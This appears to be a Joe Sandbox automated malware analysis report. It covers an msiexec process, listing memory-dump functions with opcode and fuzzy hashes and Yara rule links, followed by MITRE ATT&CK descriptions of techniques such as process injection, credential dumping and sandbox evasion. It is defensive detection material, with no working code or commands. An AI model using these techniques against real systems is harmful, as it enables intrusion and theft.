Function 21F6269C Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

9ZBw, xrefs: 21F626D0

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID: 9ZBw
API String ID: 0-3244427849
Opcode ID: 2eb90433ef1d6c0a97a7ee166e5ec47164c8e119ba97d95091b33a15d571f0c8
Instruction ID: 8709c8a23a1aab5f823d74b0bace30362dbe718db9e22dc1155878ff73c9adce
Opcode Fuzzy Hash: 2eb90433ef1d6c0a97a7ee166e5ec47164c8e119ba97d95091b33a15d571f0c8
Instruction Fuzzy Hash: FF41E2B0D00249DFDB14CFA9C580ADEBFF5FF48314F248429E419AB254DB79A945CB90

Function 21F67560 Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1629b8685957ed17e98d057c9bf3165b6f7daef2f43966f816e3b7dfdedfe9ec
Instruction ID: 7a794a57f7b431b70ad28fccb8575138c1b0a4feba3fe0b911958a2df636302d
Opcode Fuzzy Hash: 1629b8685957ed17e98d057c9bf3165b6f7daef2f43966f816e3b7dfdedfe9ec
Instruction Fuzzy Hash: 18C19670300142DBCB059B3AD49425C7763FB8A349B148E2AE41AEB366DE79DD4AD741

Function 21F68C8C Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6dbec025813dea979af1a3e9228d13740582ac4368583dd772bc7cb83119a329
Instruction ID: 52b289a6b68c80b70ef4c1ecc6df07cad881ccbb68e0d2c9149a70ed755e2276
Opcode Fuzzy Hash: 6dbec025813dea979af1a3e9228d13740582ac4368583dd772bc7cb83119a329
Instruction Fuzzy Hash: 95918934A00244DFDB09DF65C580A9DBBB7EF89310F248469E926E7352DB35ED42CB90

Function 21F6EBB0 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cfbe47e037c12cc7321c91a7a7ce2ab926bccfe4aaf940d00f84aceeef3c54f
Instruction ID: ec42ee2665e2d33cdb0eb8b706ee16a12a0d763778402dff21872b21de84ffcc
Opcode Fuzzy Hash: 5cfbe47e037c12cc7321c91a7a7ce2ab926bccfe4aaf940d00f84aceeef3c54f
Instruction Fuzzy Hash: 9E315275A10606DBDB09CF64C49469EB7B6FF89300F108919E826FB355EB71E842CB40

Function 21F61780 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2ee1dd38785e027fab4839d95423477d5f386ccbc8d6731bb0c0c6e03aeb508
Instruction ID: 19f38e6c6a72bbfa71f1b339bfd226550a5b1b47bca5f553d787f853eb635a80
Opcode Fuzzy Hash: b2ee1dd38785e027fab4839d95423477d5f386ccbc8d6731bb0c0c6e03aeb508
Instruction Fuzzy Hash: 27313BB5F041819FDF019B75C94469D7BBAEB8B311F104965E92ACB242E73D8902C7C0

Function 21F61448 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d3fb0145822fd1a179557ed280808a6aa776db3e65e24858da02b7ef3d5ef50
Instruction ID: 6ce0e0fa801ea6f24b6c3d3f8681dbe873f465b809821c947f5132b6eccb9acd
Opcode Fuzzy Hash: 1d3fb0145822fd1a179557ed280808a6aa776db3e65e24858da02b7ef3d5ef50
Instruction Fuzzy Hash: AC31C131E052C4DFDB169BB5854029D7BBAEF87215F20046AE87ADB242D73BC942C781

Function 21F6EBC0 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 286dab8e71b6fae35a1b3b688cb223622d034652e12fb6ca3e4b87a9e708e237
Instruction ID: c287bee99b3d64102ac9cf918a65f1f56928899c0346317fb5420d6518005e8c
Opcode Fuzzy Hash: 286dab8e71b6fae35a1b3b688cb223622d034652e12fb6ca3e4b87a9e708e237
Instruction Fuzzy Hash: 73315E75E00655DBDB09CF65C894A9EB7B6BF89300F208529E826FB345EB71EC41CB50

Function 21F67051 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4969c833d116d8948d279349fbb731ee6688cc374da63107882978107397a475
Instruction ID: 88da9a369eec74763204240fb2f0d31bcd7f1722e9ee06055ad79ffc3d3f58e8
Opcode Fuzzy Hash: 4969c833d116d8948d279349fbb731ee6688cc374da63107882978107397a475
Instruction Fuzzy Hash: F9317C747002148FCB49AB78C498A6E77B7EBCC311F148468E50A9B3A9CF799C42CB90

Function 21F68B77 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f913f7e24882763caa0a33afcfe4a19d66871f1e17cc18f180707edcca39399
Instruction ID: 603e0f012ccc458f43cb839ac01e1061225d78b9895392465a5a3cbd1ea15d75
Opcode Fuzzy Hash: 1f913f7e24882763caa0a33afcfe4a19d66871f1e17cc18f180707edcca39399
Instruction Fuzzy Hash: 4531B370E046499BDB09CF65C89069EFBB6FF8A300F108A2DE825EB245DB719942CB50

Function 21F6165F Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de14e364a4fb485538e6adc31611617cf4345413c9d01ab958d02de184fdfab1
Instruction ID: e891aa842aec0bfa8a228f9fd7270fddc9578876fc3baf3d8297be65c1b0be2b
Opcode Fuzzy Hash: de14e364a4fb485538e6adc31611617cf4345413c9d01ab958d02de184fdfab1
Instruction Fuzzy Hash: 11210BB4A841829FDF05DB35D8C47497B16EB8A310F104E25E42ACF2A6E63ADD458B82

Function 21F68B88 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c17ee96d6c64ccb8353f0af42c1e692e028066552b1fa96949e1a77e0d98602d
Instruction ID: e4c1992145ce39f1329cfbc9c0895d0521c2dcfaf03d936393357436a4d4c11a
Opcode Fuzzy Hash: c17ee96d6c64ccb8353f0af42c1e692e028066552b1fa96949e1a77e0d98602d
Instruction Fuzzy Hash: 1E215170E0064A9BDB09CF65C89069EFBB6FF89300F10C629E825FB245DB719985CB90

Function 21F68A79 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a04e6fb7238c39aad745ef108fac40c45c165b16f407702cc776513f7ec38ed9
Instruction ID: 2e4d59224aca78a52015fc1454be66e95a8055c04255f4d9f8c4b7c33d9b0aa7
Opcode Fuzzy Hash: a04e6fb7238c39aad745ef108fac40c45c165b16f407702cc776513f7ec38ed9
Instruction Fuzzy Hash: 9421B270E04249AFCB09CFA4C45069EFBB6AF8A300F14852EEC25FB351DB729946CB50

Function 21F61838 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cb5a869083c106f4c3b9480f12f6512cf41b1c006a264692497ac6e3a4cd27f
Instruction ID: 17d270d6dac61b436879ce9475f89eaad1acb0bc4390a8d74f05b9aedbdcd88b
Opcode Fuzzy Hash: 9cb5a869083c106f4c3b9480f12f6512cf41b1c006a264692497ac6e3a4cd27f
Instruction Fuzzy Hash: C6214630E08289DFEB19DF34CA5479D77FAAB8A300F100468D526EB295DB768D00CB91

Function 0048D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2930801680.000000000048D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0048D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_48d000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97b6cf65a4f1093cfe3be00fb49cd3dc84e50ad0d8bfec528229fbace8fee192
Instruction ID: 04cefd435e780535e7cbcd53c68f93200f06d5c67a9ceec267ee0a6ea749a00f
Opcode Fuzzy Hash: 97b6cf65a4f1093cfe3be00fb49cd3dc84e50ad0d8bfec528229fbace8fee192
Instruction Fuzzy Hash: 97212571A05200DFDB14EF14D880B1ABBA5EB89318F34C96ED9494B386C33AD807CB62

Function 21F61342 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41569b9fd3fd8799a1518196669212f5ece832e0208e9d3ba94d81592a6cd3b8
Instruction ID: 3f830103d8560ed036a2f23123a6a51fc09243177df583a7c66ff9b146996999
Opcode Fuzzy Hash: 41569b9fd3fd8799a1518196669212f5ece832e0208e9d3ba94d81592a6cd3b8
Instruction Fuzzy Hash: 0821D270B482C1EFD7225735C48475C7A6AEB87315F10086EF43BDB7A2DA2E8A85C746

Function 21F69360 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 181ebeda8eb37edc9b4bd7389381dc03621b42a3a97ee19d5546292f422d68bf
Instruction ID: b1fd3bfb8bee4078c3e227814247c5cdabe0974947dff03a7e9c4fed4f411804
Opcode Fuzzy Hash: 181ebeda8eb37edc9b4bd7389381dc03621b42a3a97ee19d5546292f422d68bf
Instruction Fuzzy Hash: 86219F71A101459FEB08DF69C955B9E7BFAFF88710F108069E925EB3A1DA729D00CB90

Function 21F61848 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37023d46ec81ef7c52ab17b2aa2db5832fe45bca679687eae8108be7fffe9609
Instruction ID: 3dce0ab9fd04d5c787c22eed019fc9dff69087505589b03869cf3f94e2098947
Opcode Fuzzy Hash: 37023d46ec81ef7c52ab17b2aa2db5832fe45bca679687eae8108be7fffe9609
Instruction Fuzzy Hash: 51214830F08289DFEB18DB74C65479E77FAAB8A200F100468D526EB394DB368D10CB91

Function 21F68A88 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3d8cb466290881b37af1b6af58c6195933e74cb3612d671976ea728176aac52
Instruction ID: 9f3ce72082feef1d2177ecce94dc20bd78c5e55b0362069137d92341c23cbd2c
Opcode Fuzzy Hash: f3d8cb466290881b37af1b6af58c6195933e74cb3612d671976ea728176aac52
Instruction Fuzzy Hash: 32214F71E00359EBDB09CFA4C450A9EF7B6AF89300F14852AEC25FB341DB71A946CB50

Function 21F61670 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b24bf37d3fc7f10ef407dd5c69bce76988d24f1053277a1bf15db61490222c86
Instruction ID: f7366bd5c9a9e8285e48f74f6173cd6f0427d3b3a20aaa8984a609c323f06dce
Opcode Fuzzy Hash: b24bf37d3fc7f10ef407dd5c69bce76988d24f1053277a1bf15db61490222c86
Instruction Fuzzy Hash: 8B21A8B46841429FDF05DB35D8C474A775AE78E310F104E25E81ACF355EA3EDD448B92

Function 21F67A19 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df95783a47deb4e62c0259c590307dcf9f63f46d6ceab65805232753e14531ae
Instruction ID: 1207dbd6d47368e52234f01b831b79798964d841f56f34f62e11694d92a97ce5
Opcode Fuzzy Hash: df95783a47deb4e62c0259c590307dcf9f63f46d6ceab65805232753e14531ae
Instruction Fuzzy Hash: 6B210570700286DFCB05DF79E58069DBBB1EF89304F104A79D81ACB212EA35AA41CB81

Function 21F60848 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75e64c925c4c6d291d66780dcff9a3037850d68eb621819e16da629ab81245f0
Instruction ID: 183e5eb055c5a82d8058fd29ea5652a0dd8aef5f9c536dab4fe7b7188cc50db1
Opcode Fuzzy Hash: 75e64c925c4c6d291d66780dcff9a3037850d68eb621819e16da629ab81245f0
Instruction Fuzzy Hash: 42119131B40288EBEB45DA79C84075D329BEB46310F304A39E036CF752EA27DD818BC2

Function 21F60838 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc07bb08854c713760ea0df2d2ef48451ec83250797a54f95cda4b4269715f65
Instruction ID: b58adad2b6c43f172f66915c9845b0e9ecb332fa8e66712cff51916a855e837a
Opcode Fuzzy Hash: bc07bb08854c713760ea0df2d2ef48451ec83250797a54f95cda4b4269715f65
Instruction Fuzzy Hash: F911C430B44284EFEB06D675845075D376AEB47210F304A7ED036CF683EA67CA418BC2

Function 21F691B8 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92f59fc5c2982fc15d4ace3ae8369bd5e9bdc27ca0164f5dfdb1ca9703a88012
Instruction ID: e6b1d2509c7683f327ebb9bf4c14d98f14097d72d8dbdd706cc44532a7e36f43
Opcode Fuzzy Hash: 92f59fc5c2982fc15d4ace3ae8369bd5e9bdc27ca0164f5dfdb1ca9703a88012
Instruction Fuzzy Hash: A7112171A002048FCB01DF66D84078ABF66FF95310F948664D8185F287EB709A05CBA2

Function 0048D017 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2930801680.000000000048D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0048D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_48d000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd4d649e5aa0d167efe5351750b6b3b585d47934d4b226fee97b9ba3e2a14b90
Instruction ID: fd6634933d85953a893333cd59d0b1024950cb6da1340796ff4371a554c47a55
Opcode Fuzzy Hash: cd4d649e5aa0d167efe5351750b6b3b585d47934d4b226fee97b9ba3e2a14b90
Instruction Fuzzy Hash: B011D075905280CFDB15DF14D5C4B1AFB61FB45318F24CAAAD8494B796C33AD80ACB62

Function 21F61458 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48912b58ea3704770f9f1015cebfa62e05aec076c94a8b55a2ba0943b7b7eb55
Instruction ID: fa79e6ee571a938af1392aeadc5003a978a0c3574e4db60d533bdb9d0e7ffea0
Opcode Fuzzy Hash: 48912b58ea3704770f9f1015cebfa62e05aec076c94a8b55a2ba0943b7b7eb55
Instruction Fuzzy Hash: 30015231E01265DFCF15DFB9845069D7BFAEF9A210B200479D825E7301E736D9428BD5

Function 21F691C8 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0187745a65411c26db481af546cbdb043e0781c290dce2138ff82960f1ec311c
Instruction ID: 03ad1bb7acec408c247fd572f4f1960792d9a73e35e5cc6a28a6f8e5b7054668
Opcode Fuzzy Hash: 0187745a65411c26db481af546cbdb043e0781c290dce2138ff82960f1ec311c
Instruction Fuzzy Hash: 3501B530A001048FDB04DF66D844B8ABB6AFFC5311F94C564D81C5F296EB719D45CBA1

Function 21F67A28 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2947350785.0000000021F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 21F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_21f60000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1459f3f2d71b5580c8c4cf8f788fd478b2cee0683fc1e24ddcf31b56f428c53f
Instruction ID: 5b1123f04ba6f767feb3490d6c32c36829b90aafe8bac0ad17f4884aee588a28
Opcode Fuzzy Hash: 1459f3f2d71b5580c8c4cf8f788fd478b2cee0683fc1e24ddcf31b56f428c53f
Instruction Fuzzy Hash: E6F0C870A4010ADFCF48EFB9E9809DDBBB1EB48304F104969D4099F245FE346F448B92

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
